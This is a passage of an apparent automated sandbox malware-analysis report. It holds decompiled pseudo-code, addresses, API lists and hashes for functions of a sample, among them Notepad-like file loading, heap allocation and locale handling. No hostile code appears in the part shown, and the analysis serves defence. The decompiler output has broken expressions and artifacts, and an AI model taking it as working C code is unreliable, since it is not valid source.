				asm("movsd");
				asm("movsd");
				if(_v12 == 0) {
					L3:
					return 0;
				} else {
					_t26 = E0042E655( &_v8, _a4, _v20, _a12, 0x180); // executed
					if(_t26 != 0) {
						goto L3;
					} else {
						 *0x44c9ec =  *0x44c9ec + 1;
						asm("lock or [eax], ecx");
						 *((intOrPtr*)(_a16 + 8)) = 0;
						 *((intOrPtr*)(_a16 + 0x1c)) = 0;
						 *((intOrPtr*)(_a16 + 4)) = 0;
						 *_a16 = 0;
						 *((intOrPtr*)(_a16 + 0x10)) = _v8;
						return _a16;
					}
				}
			}

0x0042151a
0x00421526
0x00421527
0x00421528
0x0042152f
0x00421588
0x0042158b
0x00421531
0x00421543
0x0042154d
0x00000000
0x0042154f
0x00421552
0x0042155e
0x00421566
0x0042156c
0x00421572
0x00421578
0x00421580
0x00421587
0x00421587
0x0042154d

APIs

__wsopen_s.LIBCMT ref: 00421543

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 385f184ee9f5755d13696badef40191a1e25fb4b245d49049715b388e2e3723b
Instruction ID: 6a2e020f794424b2cc925fa4280ebecb01c0ce69c94c8deb025cb138c42ea004
Opcode Fuzzy Hash: 385f184ee9f5755d13696badef40191a1e25fb4b245d49049715b388e2e3723b
Instruction Fuzzy Hash: 9C114871A0010AAFCF05DF58E94198B7BF4EF58304F0540AAF805EB351D634DA11CB68

Uniqueness

Uniqueness Score: -1.00%

Function 004108CD Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E004108CD(signed int _a4, signed int _a8) {
				void* _t8;
				void* _t12;
				signed int _t13;
				signed int _t18;
				long _t19;

				_t18 = _a4;
				if(_t18 == 0) {
					L2:
					_t19 = _t18 * _a8;
					if(_t19 == 0) {
						_t19 = _t19 + 1;
					}
					while(1) {
						_t8 = RtlAllocateHeap( *0x44ce74, 8, _t19); // executed
						if(_t8 != 0) {
							break;
						}
						__eflags = E00410081();
						if(__eflags == 0) {
							L8:
							 *((intOrPtr*)(E00420E3C())) = 0xc;
							__eflags = 0;
							return 0;
						}
						_t12 = E0042B0C3(__eflags, _t19);
						__eflags = _t12;
						if(_t12 == 0) {
							goto L8;
						}
					}
					return _t8;
				}
				_t13 = 0xffffffe0;
				if(_t13 / _t18 < _a8) {
					goto L8;
				}
				goto L2;
			}

0x004108d3
0x004108d8
0x004108e6
0x004108e6
0x004108ec
0x004108ee
0x004108ee
0x00410905
0x0041090e
0x00410916
0x00000000
0x00000000
0x004108f6
0x004108f8
0x0041091a
0x0041091f
0x00410925
0x00000000
0x00410925
0x004108fb
0x00410901
0x00410903
0x00000000
0x00000000
0x00410903
0x00000000
0x00410905
0x004108de
0x004108e4
0x00000000
0x00000000
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000008,00000000,00000000,?,0042004C,00000001,00000364,00000000,0000000B,000000FF,?,004103CD,00000000,00000000), ref: 0041090E

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 5695579b55240e50b80722c7c8c730456fd5f53a58d87948a6bb0900e523b1f5
Instruction ID: fb607b80775a59f004c297760bc55bb20d08804f6f9fed1bb9146b39a17d01c0
Opcode Fuzzy Hash: 5695579b55240e50b80722c7c8c730456fd5f53a58d87948a6bb0900e523b1f5
Instruction Fuzzy Hash: 0AF0B43175512866FB222F229C11BDB778CAF427B4B194127AC1996292CBFCDDC186EC

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004010F4 Relevance: 51.0, APIs: 28, Strings: 1, Instructions: 218
memorywindowfileCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E004010F4(WCHAR* __ecx, void* __edx) {
				long _v8;
				long _v12;
				int _v16;
				short _v28;
				void* _t23;
				int _t25;
				long _t26;
				int _t31;
				void* _t34;
				signed int _t35;
				int _t53;
				void _t61;
				void* _t62;
				void* _t64;
				int _t66;
				long _t68;
				int _t71;
				void* _t72;
				short _t73;
				void* _t77;
				void* _t81;
				void* _t83;
				void* _t87;

				_t64 = __edx;
				_t23 = E0040104D();
				if(_t23 == 0) {
					return _t23;
				}
				_t25 = CreateFileW(__ecx, 0x80000000, 3, 0, 3, 0x80, 0);
				_t81 = _t25;
				if(_t81 == 0xffffffff) {
					L34:
					return _t25;
				}
				_t26 = GetFileSize(_t81, 0);
				_v8 = _t26;
				if(_t26 == 0xffffffff) {
					L4:
					_t25 = CloseHandle(_t81);
					goto L34;
				}
				_t87 = HeapAlloc(GetProcessHeap(), 0, _t26 + 2);
				if(_t87 != 0) {
					_t31 = ReadFile(_t81, _t87, _v8,  &_v12, 0);
					_push(_t81);
					if(_t31 != 0) {
						CloseHandle();
						_t71 = _v12;
						_v8 = _t71;
						if(_t64 != 0xffffffff) {
							_t77 = 2;
							if(_t71 >= _t77 && (_t64 == 1 || _t64 == _t77)) {
								_t61 =  *_t87;
								if(_t61 != 0xff ||  *((char*)(_t87 + 1)) != 0xfe) {
									if(_t61 == 0xfe) {
										_t64 =  ==  ? _t77 : _t64;
									}
								} else {
									_t64 = 1;
								}
							}
						} else {
							_t62 = E004010A1(_t87, _t71);
							_t71 = _v8;
							_t64 = _t62;
						}
						_t34 = _t64 - 1;
						if(_t34 == 0 || _t34 == 1) {
							_t83 = _t87;
							_t66 = _t71 >> 1;
							goto L23;
						} else {
							_t53 =  ==  ? 0xfde9 : 0;
							_v16 = _t53;
							_t66 = MultiByteToWideChar(_t53, 0, _t87, _t71, 0, 0);
							_t83 = HeapAlloc(GetProcessHeap(), 0, 2 + _t66 * 2);
							if(_t83 != 0) {
								MultiByteToWideChar(_v16, 0, _t87, _v8, _t83, _t66);
								HeapFree(GetProcessHeap(), 0, _t87);
								L23:
								_t72 = 0;
								_t35 = 0;
								if(_t66 <= 0) {
									L27:
									 *((short*)(_t83 + _t66 * 2)) = 0;
									if(_t66 < 1 ||  *_t83 != 0xfeff) {
										_push(_t83);
									} else {
										_t20 = _t83 + 2; // 0x2
									}
									SetWindowTextW( *0x44cf0c, ??);
									HeapFree(GetProcessHeap(), 0, _t83);
									SendMessageW( *0x44cf0c, 0xb9, 0, 0);
									SendMessageW( *0x44cf0c, 0xcd, 0, 0);
									SetFocus( *0x44cf0c);
									_t25 = GetWindowTextW( *0x44cf0c,  &_v28, 0);
									if(_t25 != 0) {
										_t25 = lstrcmpW( &_v28, L".LOG");
										if(_t25 == 0) {
											SendMessageW( *0x44cf0c, 0xb1, GetWindowTextLengthW( *0x44cf0c), 0xffffffff);
											_t68 = L"\r\n";
											SendMessageW( *0x44cf0c, 0xc2, 1, _t68);
											E00401E6F();
											_t25 = SendMessageW( *0x44cf0c, 0xc2, 1, _t68);
										}
									}
									goto L34;
								} else {
									goto L24;
								}
								do {
									L24:
									if( *((intOrPtr*)(_t83 + _t35 * 2)) == _t72) {
										_t73 = 0x20;
										 *((short*)(_t83 + _t35 * 2)) = _t73;
										_t72 = 0;
									}
									_t35 = _t35 + 1;
								} while (_t35 < _t66);
								goto L27;
							}
							goto L20;
						}
					} else {
						CloseHandle();
						L20:
						_t25 = HeapFree(GetProcessHeap(), 0, _t87);
						goto L34;
					}
				}
				goto L4;
			}

0x004010fc
0x00401100
0x00401107
0x00401352
0x00401352
0x00401121
0x00401127
0x0040112c
0x0040134c
0x00000000
0x0040134c
0x00401135
0x0040113b
0x00401141
0x0040115c
0x0040115d
0x00000000
0x0040115d
0x00401156
0x0040115a
0x00401173
0x00401179
0x0040117c
0x00401189
0x0040118f
0x00401192
0x00401198
0x004011ac
0x004011af
0x004011ba
0x004011be
0x004011cd
0x004011d3
0x004011d3
0x004011c6
0x004011c8
0x004011c8
0x004011be
0x0040119a
0x0040119e
0x004011a3
0x004011a6
0x004011a6
0x004011d8
0x004011db
0x00401258
0x0040125a
0x00000000
0x004011e2
0x004011ec
0x004011f7
0x00401200
0x00401218
0x0040121c
0x0040123e
0x0040124e
0x0040125c
0x0040125c
0x0040125e
0x00401262
0x00401278
0x0040127a
0x00401281
0x00401293
0x0040128d
0x0040128d
0x00401290
0x0040129a
0x004012ab
0x004012c4
0x004012d3
0x004012db
0x004012ec
0x004012f4
0x004012ff
0x00401307
0x00401323
0x00401325
0x00401339
0x0040133b
0x0040134a
0x0040134a
0x00401307
0x00000000
0x00000000
0x00000000
0x00000000
0x00401264
0x00401264
0x00401268
0x0040126c
0x0040126d
0x00401271
0x00401271
0x00401273
0x00401274
0x00000000
0x00401264
0x00000000
0x0040121c
0x0040117e
0x0040117e
0x0040121e
0x00401228
0x00000000
0x00401228
0x0040117c
0x00000000

APIs

Part of subcall function 0040104D: GetWindowTextLengthW.USER32(00000001), ref: 00401054
Part of subcall function 0040104D: SendMessageW.USER32(000000B8,00000000,00000000), ref: 0040106B

CreateFileW.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 00401121
GetFileSize.KERNEL32(00000000,00000000,?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 00401135
GetProcessHeap.KERNEL32(00000000,-00000002,?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 00401149
HeapAlloc.KERNEL32(00000000,?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 00401150
CloseHandle.KERNEL32(00000000,?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0040115D
ReadFile.KERNEL32(00000000,00000000,?,?,00000000,?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 00401173
CloseHandle.KERNEL32(00000000,?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0040117E
CloseHandle.KERNEL32(00000000,?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 00401189
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 004011FA
GetProcessHeap.KERNEL32(00000000,?,?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0040120B
HeapAlloc.KERNEL32(00000000,?,?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 00401212
GetProcessHeap.KERNEL32(00000000,00000000,?,?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 00401221
HeapFree.KERNEL32(00000000,?,?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 00401228
MultiByteToWideChar.KERNEL32(?,00000000,00000000,?,00000000,00000000,?,?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0040123E
GetProcessHeap.KERNEL32(00000000,00000000,?,?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 00401247
HeapFree.KERNEL32(00000000,?,?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0040124E
SetWindowTextW.USER32(00000000), ref: 0040129A
GetProcessHeap.KERNEL32(00000000,00000000,?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 004012A4
HeapFree.KERNEL32(00000000,?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 004012AB
SendMessageW.USER32(000000B9,00000000,00000000), ref: 004012C4
SendMessageW.USER32(000000CD,00000000,00000000), ref: 004012D3

Part of subcall function 004010A1: IsTextUnicode.ADVAPI32(?,?,?), ref: 004010D3

SetFocus.USER32(?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 004012DB
GetWindowTextW.USER32 ref: 004012EC
lstrcmpW.KERNEL32(?,.LOG,?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 004012FF
GetWindowTextLengthW.USER32(000000FF), ref: 00401311
SendMessageW.USER32(000000B1,00000000,?,80000000), ref: 00401323
SendMessageW.USER32(000000C2,00000001,00447ADC), ref: 00401339

Part of subcall function 00401E6F: GetLocalTime.KERNEL32(00000000,000000C2,775DBB20,00447ADC), ref: 00401E7F
Part of subcall function 00401E6F: GetTimeFormatW.KERNEL32(00000400,00000002,00000000,00000000,?,000000FF), ref: 00401E9F
Part of subcall function 00401E6F: SendMessageW.USER32(000000C2,00000001,?), ref: 00401EC0
Part of subcall function 00401E6F: SendMessageW.USER32(000000C2,00000001,00447B0C), ref: 00401ED0
Part of subcall function 00401E6F: GetDateFormatW.KERNEL32(00000400,00000000,00000000,00000000,?,000000FF), ref: 00401EE7
Part of subcall function 00401E6F: SendMessageW.USER32(000000C2,00000001,?), ref: 00401EFD

SendMessageW.USER32(000000C2,00000001,00447ADC), ref: 0040134A

Strings

.LOG, xrefs: 004012F6

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: Heap$MessageSend$ProcessText$Window$CloseFileFreeHandle$AllocByteCharFormatLengthMultiTimeWide$CreateDateFocusLocalReadSizeUnicodelstrcmp
String ID: .LOG
API String ID: 3627538612-2272326732
Opcode ID: 61c27b2f3326b0a23fe5e1f8f63cfbd7fedbd5e418dbbab50b8a7725fe4447ce
Instruction ID: df94c668a430cca5cc55775fa9f65808ab366d91416bcd41b29e439e4c5fd107
Opcode Fuzzy Hash: 61c27b2f3326b0a23fe5e1f8f63cfbd7fedbd5e418dbbab50b8a7725fe4447ce
Instruction Fuzzy Hash: 6B61A279601205BFEB245BB5AC88E6B3A6DEB46710F10423AFB05E62F0DB798C11C75D

Uniqueness

Uniqueness Score: -1.00%

Function 004293C1 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 251
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E004293C1(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, intOrPtr* _a4, signed short* _a8, intOrPtr _a12) {
				intOrPtr* _v8;
				short _v12;
				signed int _v32;
				intOrPtr _v40;
				signed int _v52;
				char _v272;
				short _v292;
				void* __ebp;
				void* _t33;
				short* _t34;
				intOrPtr* _t35;
				void* _t37;
				intOrPtr* _t38;
				signed short _t39;
				signed short* _t42;
				intOrPtr _t45;
				void* _t47;
				signed int _t50;
				void* _t52;
				signed int _t56;
				void* _t69;
				void* _t73;
				void* _t74;
				void* _t78;
				intOrPtr* _t85;
				short* _t88;
				intOrPtr* _t93;
				intOrPtr* _t97;
				short _t115;
				void* _t116;
				intOrPtr* _t118;
				intOrPtr _t120;
				signed int* _t121;
				intOrPtr* _t124;
				signed short _t126;
				int _t128;
				void* _t132;
				signed int _t133;

				_push(__ecx);
				_push(__ecx);
				_push(__esi);
				_push(__edi);
				_t118 = _a4;
				_t33 = E0041FEAE(__ecx, __edx, __esi);
				_t115 = 0;
				_v12 = 0;
				_t3 = _t33 + 0x50; // 0x50
				_t124 = _t3;
				_t4 = _t124 + 0x250; // 0x2a0
				_t34 = _t4;
				 *((intOrPtr*)(_t124 + 8)) = 0;
				 *_t34 = 0;
				_t6 = _t124 + 4; // 0x54
				_t85 = _t6;
				_v8 = _t34;
				_t93 = _t118;
				_t35 = _t118 + 0x80;
				 *_t124 = _t118;
				 *_t85 = _t35;
				if( *_t35 != 0) {
					E00429354(0x442c58, 0x16, _t85);
					_t93 =  *_t124;
					_t132 = _t132 + 0xc;
					_t115 = 0;
				}
				_push(_t124);
				if( *_t93 == _t115) {
					E00428C7F(_t93);
					goto L12;
				} else {
					if( *((intOrPtr*)( *_t85)) == _t115) {
						E00428D9F();
					} else {
						E00428D06(_t93);
					}
					if( *((intOrPtr*)(_t124 + 8)) == 0) {
						_t78 = E00429354("p-D", 0x40, _t124);
						_t132 = _t132 + 0xc;
						if(_t78 != 0) {
							_push(_t124);
							if( *((intOrPtr*)( *_t85)) == 0) {
								E00428D9F();
							} else {
								E00428D06(0);
							}
							L12:
						}
					}
				}
				if( *((intOrPtr*)(_t124 + 8)) == 0) {
					L37:
					_t37 = 0;
					goto L38;
				} else {
					_t38 = _t118 + 0x100;
					if( *_t118 != 0 ||  *_t38 != 0) {
						_t39 = E004291CB(_t38, _t124);
					} else {
						_t39 = GetACP();
					}
					_t126 = _t39;
					if(_t126 == 0 || _t126 == 0xfde8 || IsValidCodePage(_t126 & 0x0000ffff) == 0) {
						goto L37;
					} else {
						_t42 = _a8;
						if(_t42 != 0) {
							 *_t42 = _t126;
						}
						_t120 = _a12;
						if(_t120 == 0) {
							L36:
							_t37 = 1;
							L38:
							return _t37;
						} else {
							_t97 = _v8;
							_t15 = _t120 + 0x120; // 0xd0
							_t88 = _t15;
							 *_t88 = 0;
							_t16 = _t97 + 2; // 0x2
							_t116 = _t16;
							do {
								_t45 =  *_t97;
								_t97 = _t97 + 2;
							} while (_t45 != _v12);
							_t18 = (_t97 - _t116 >> 1) + 1; // -1
							_t47 = E00423AF8(_t97 - _t116 >> 1, _t88, 0x55, _v8);
							_t133 = _t132 + 0x10;
							if(_t47 != 0) {
								L39:
								_push(0);
								_push(0);
								_push(0);
								_push(0);
								_push(0);
								E0041F197();
								asm("int3");
								_t131 = _t133;
								_t50 =  *0x44b018; // 0x1989d38f
								_v52 = _t50 ^ _t133;
								_push(_t88);
								_push(_t126);
								_t127 = _v40;
								_push(_t120);
								_t52 = E0041FEAE(_t99, _t116, _v40);
								_t89 = _t52;
								_t121 =  *(E0041FEAE(_t99, _t116, _v40) + 0x34c);
								_t128 = E00429B1A(_t127);
								asm("sbb ecx, ecx");
								_t56 = GetLocaleInfoW(_t128, ( ~( *(_t52 + 0x64)) & 0xfffff005) + 0x1002,  &_v292, 0x78);
								if(_t56 != 0) {
									if(E004306E1(_t121, _t128,  *((intOrPtr*)(_t89 + 0x54)),  &_v272) == 0 && E00429C4F(_t128) != 0) {
										 *_t121 =  *_t121 | 0x00000004;
										_t121[2] = _t128;
										_t121[1] = _t128;
									}
								} else {
									 *_t121 =  *_t121 & _t56;
								}
								return E0040361D(_v32 ^ _t131);
							} else {
								if(E0042A982(_t88, 0x1001, _t120, 0x40) == 0) {
									goto L37;
								} else {
									_t20 = _t120 + 0x80; // 0x30
									_t88 = _t20;
									_t21 = _t120 + 0x120; // 0xd0
									if(E0042A982(_t21, 0x1002, _t88, 0x40) == 0) {
										goto L37;
									} else {
										_push(0x5f);
										_t69 = E0043F39B(_t99);
										_t99 = _t88;
										if(_t69 != 0) {
											L31:
											_t22 = _t120 + 0x120; // 0xd0
											if(E0042A982(_t22, 7, _t88, 0x40) == 0) {
												goto L37;
											} else {
												goto L32;
											}
										} else {
											_push(0x2e);
											_t74 = E0043F39B(_t99);
											_t99 = _t88;
											if(_t74 == 0) {
												L32:
												_t120 = _t120 + 0x100;
												if(_t126 != 0xfde9) {
													E00422790(_t99, _t126, _t120, 0x10, 0xa);
													goto L36;
												} else {
													_push(5);
													_t73 = E00423AF8(_t99, _t120, 0x10, L"utf8");
													_t133 = _t133 + 0x10;
													if(_t73 != 0) {
														goto L39;
													} else {
														goto L36;
													}
												}
											} else {
												goto L31;
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x004293c6
0x004293c7
0x004293c9
0x004293ca
0x004293cb
0x004293ce
0x004293d5
0x004293d7
0x004293da
0x004293da
0x004293dd
0x004293dd
0x004293e3
0x004293e6
0x004293e9
0x004293e9
0x004293ec
0x004293ef
0x004293f1
0x004293f7
0x004293f9
0x004293fe
0x00429408
0x0042940d
0x0042940f
0x00429412
0x00429412
0x00429414
0x00429418
0x00429461
0x00000000
0x0042941a
0x0042941f
0x00429428
0x00429421
0x00429421
0x00429421
0x00429433
0x0042943d
0x00429442
0x00429447
0x0042944d
0x00429451
0x0042945a
0x00429453
0x00429453
0x00429453
0x00429466
0x00429466
0x00429447
0x00429433
0x0042946c
0x004295a8
0x004295a8
0x00000000
0x00429472
0x00429472
0x0042947b
0x0042948c
0x00429482
0x00429482
0x00429482
0x00429493
0x00429497
0x00000000
0x004294bb
0x004294bb
0x004294c0
0x004294c2
0x004294c2
0x004294c4
0x004294c9
0x004295a3
0x004295a5
0x004295aa
0x004295ae
0x004294cf
0x004294cf
0x004294d2
0x004294d2
0x004294da
0x004294dd
0x004294dd
0x004294e0
0x004294e0
0x004294e3
0x004294e6
0x004294f0
0x004294fa
0x004294ff
0x00429504
0x004295af
0x004295b1
0x004295b2
0x004295b3
0x004295b4
0x004295b5
0x004295b6
0x004295bb
0x004295bf
0x004295c7
0x004295ce
0x004295d1
0x004295d2
0x004295d3
0x004295d6
0x004295d7
0x004295dc
0x004295e4
0x004295f3
0x004295ff
0x00429610
0x00429618
0x00429632
0x0042963f
0x00429642
0x00429645
0x00429645
0x0042961a
0x0042961a
0x0042961c
0x00429660
0x0042950a
0x0042951a
0x00000000
0x00429520
0x00429522
0x00429522
0x0042952e
0x0042953c
0x00000000
0x0042953e
0x0042953e
0x00429541
0x00429547
0x0042954a
0x0042955a
0x0042955f
0x0042956d
0x00000000
0x00000000
0x00000000
0x00000000
0x0042954c
0x0042954c
0x0042954f
0x00429555
0x00429558
0x0042956f
0x0042956f
0x0042957b
0x0042959b
0x00000000
0x0042957d
0x0042957d
0x00429587
0x0042958c
0x00429591
0x00000000
0x00429593
0x00000000
0x00429593
0x00429591
0x00000000
0x00000000
0x00000000
0x00429558
0x0042954a
0x0042953c
0x0042951a
0x00429504
0x004294c9
0x00429497

APIs

Part of subcall function 0041FEAE: GetLastError.KERNEL32(?,00000008,0042383F), ref: 0041FEB2
Part of subcall function 0041FEAE: SetLastError.KERNEL32(00000000), ref: 0041FF54

GetACP.KERNEL32(?,?,?,?,?,?,0040EE33,?,?,?,00000055,?,-00000050,?,?,00000000), ref: 00429482
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,0040EE33,?,?,?,00000055,?,-00000050,?,?), ref: 004294AD
_wcschr.LIBVCRUNTIME ref: 00429541
_wcschr.LIBVCRUNTIME ref: 0042954F
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 00429610

Strings

utf8, xrefs: 0042957F
p-D, xrefs: 00429438

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: ErrorLast_wcschr$CodeInfoLocalePageValid
String ID: p-D$utf8
API String ID: 4147378913-3542889350
Opcode ID: 2d8f8ecf8e5b8d2bb65e43f198441480cdf9d7403bb52a1b54beb3f99c47e633
Instruction ID: b67d116295a48db25a5cd56fab27c09112342427834d9f8f91643f1d47553766
Opcode Fuzzy Hash: 2d8f8ecf8e5b8d2bb65e43f198441480cdf9d7403bb52a1b54beb3f99c47e633
Instruction Fuzzy Hash: 12712872700321AADB24AB36EC42BAB73A8AF45304F54042BF905D7281EB7CED45866D

Uniqueness

Uniqueness Score: -1.00%

Function 00429D43 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 183
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E00429D43(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, signed int _a4, signed short* _a8, short* _a12) {
				signed int _v8;
				int _v12;
				int _v16;
				char _v20;
				signed int* _v24;
				signed short* _v28;
				void* __ebp;
				signed int _t39;
				void* _t45;
				signed int* _t46;
				signed int _t47;
				signed int _t48;
				int _t49;
				signed short* _t57;
				signed int _t71;
				intOrPtr _t74;
				void* _t76;
				signed int _t77;
				intOrPtr _t84;
				short* _t88;
				signed int _t91;
				signed int* _t102;
				void* _t103;
				signed int _t105;
				signed short _t108;
				signed int _t109;
				void* _t110;

				_t39 =  *0x44b018; // 0x1989d38f
				_v8 = _t39 ^ _t109;
				_t88 = _a12;
				_t105 = _a4;
				_v28 = _a8;
				_v24 = E0041FEAE(__ecx, __edx, _t105) + 0x50;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t45 = E0041FEAE(__ecx, __edx, _t105);
				_t99 = 0;
				 *((intOrPtr*)(_t45 + 0x34c)) =  &_v20;
				_t91 = _t105 + 0x80;
				_t46 = _v24;
				 *_t46 = _t105;
				_t102 =  &(_t46[1]);
				 *_t102 = _t91;
				if(_t91 != 0 &&  *_t91 != 0) {
					_t84 =  *0x442d6c; // 0x17
					E00429CE2(_t91, 0, 0x442c58, _t84 - 1, _t102);
					_t46 = _v24;
					_t110 = _t110 + 0xc;
					_t99 = 0;
				}
				_v20 = _t99;
				_t47 =  *_t46;
				if(_t47 == 0 ||  *_t47 == _t99) {
					_t48 =  *_t102;
					if(_t48 == 0 ||  *_t48 == _t99) {
						_v20 = 0x104;
						_t49 = GetUserDefaultLCID();
						_v12 = _t49;
						_v16 = _t49;
					} else {
						E00429663(_t91, _t99,  &_v20);
						_pop(_t91);
					}
					goto L20;
				} else {
					_t71 =  *_t102;
					if(_t71 == 0 ||  *_t71 == _t99) {
						E00429767(_t91, _t99,  &_v20);
					} else {
						E004296CC(_t91, _t99,  &_v20);
					}
					_pop(_t91);
					if(_v20 != 0) {
						_t103 = 0;
						goto L25;
					} else {
						_t74 =  *0x442c54; // 0x41
						_t76 = E00429CE2(_t91, _t99, "p-D", _t74 - 1, _v24);
						_t110 = _t110 + 0xc;
						if(_t76 == 0) {
							L20:
							_t103 = 0;
							L21:
							if(_v20 != 0) {
								L25:
								asm("sbb esi, esi");
								_t108 = E00429B6E(_t91,  ~_t105 & _t105 + 0x00000100,  &_v20);
								if(_t108 == 0 || IsValidCodePage(_t108 & 0x0000ffff) == 0 || IsValidLocale(_v16, 1) == 0) {
									goto L22;
								} else {
									_t57 = _v28;
									if(_t57 != 0) {
										 *_t57 = _t108;
									}
									E0042AB44(_v16,  &(_v24[0x94]), 0x55, _t103);
									if(_t88 == 0) {
										L34:
										L23:
										return E0040361D(_v8 ^ _t109);
									} else {
										_t33 =  &(_t88[0x90]); // 0xd0
										E0042AB44(_v16, _t33, 0x55, _t103);
										if(GetLocaleInfoW(_v16, 0x1001, _t88, 0x40) == 0) {
											goto L22;
										}
										_t36 =  &(_t88[0x40]); // 0x30
										if(GetLocaleInfoW(_v12, 0x1002, _t36, 0x40) == 0) {
											goto L22;
										}
										_t38 =  &(_t88[0x80]); // 0xb0
										E00422790(_t38, _t108, _t38, 0x10, 0xa);
										goto L34;
									}
								}
							}
							L22:
							goto L23;
						}
						_t77 =  *_t102;
						_t103 = 0;
						if(_t77 == 0 ||  *_t77 == 0) {
							E00429767(_t91, _t99,  &_v20);
						} else {
							E004296CC(_t91, _t99,  &_v20);
						}
						_pop(_t91);
						goto L21;
					}
				}
			}

0x00429d4b
0x00429d52
0x00429d59
0x00429d5d
0x00429d61
0x00429d6f
0x00429d74
0x00429d75
0x00429d76
0x00429d77
0x00429d7f
0x00429d81
0x00429d87
0x00429d8d
0x00429d90
0x00429d92
0x00429d95
0x00429d99
0x00429da0
0x00429dad
0x00429db2
0x00429db5
0x00429db8
0x00429db8
0x00429dba
0x00429dbd
0x00429dc1
0x00429e31
0x00429e35
0x00429e48
0x00429e4f
0x00429e55
0x00429e58
0x00429e3c
0x00429e40
0x00429e45
0x00429e45
0x00000000
0x00429dc8
0x00429dc8
0x00429dcc
0x00429de2
0x00429dd3
0x00429dd7
0x00429dd7
0x00429deb
0x00429dec
0x00429e74
0x00000000
0x00429df2
0x00429df2
0x00429e01
0x00429e06
0x00429e0b
0x00429e5b
0x00429e5b
0x00429e5d
0x00429e61
0x00429e76
0x00429e82
0x00429e8c
0x00429e92
0x00000000
0x00429eb1
0x00429eb1
0x00429eb6
0x00429eb8
0x00429eb8
0x00429ec9
0x00429ed0
0x00429f30
0x00429e65
0x00429e73
0x00429ed2
0x00429ed5
0x00429edf
0x00429ef7
0x00000000
0x00000000
0x00429eff
0x00429f16
0x00000000
0x00000000
0x00429f20
0x00429f28
0x00000000
0x00429f2d
0x00429ed0
0x00429e92
0x00429e63
0x00000000
0x00429e63
0x00429e0d
0x00429e0f
0x00429e13
0x00429e29
0x00429e1a
0x00429e1e
0x00429e1e
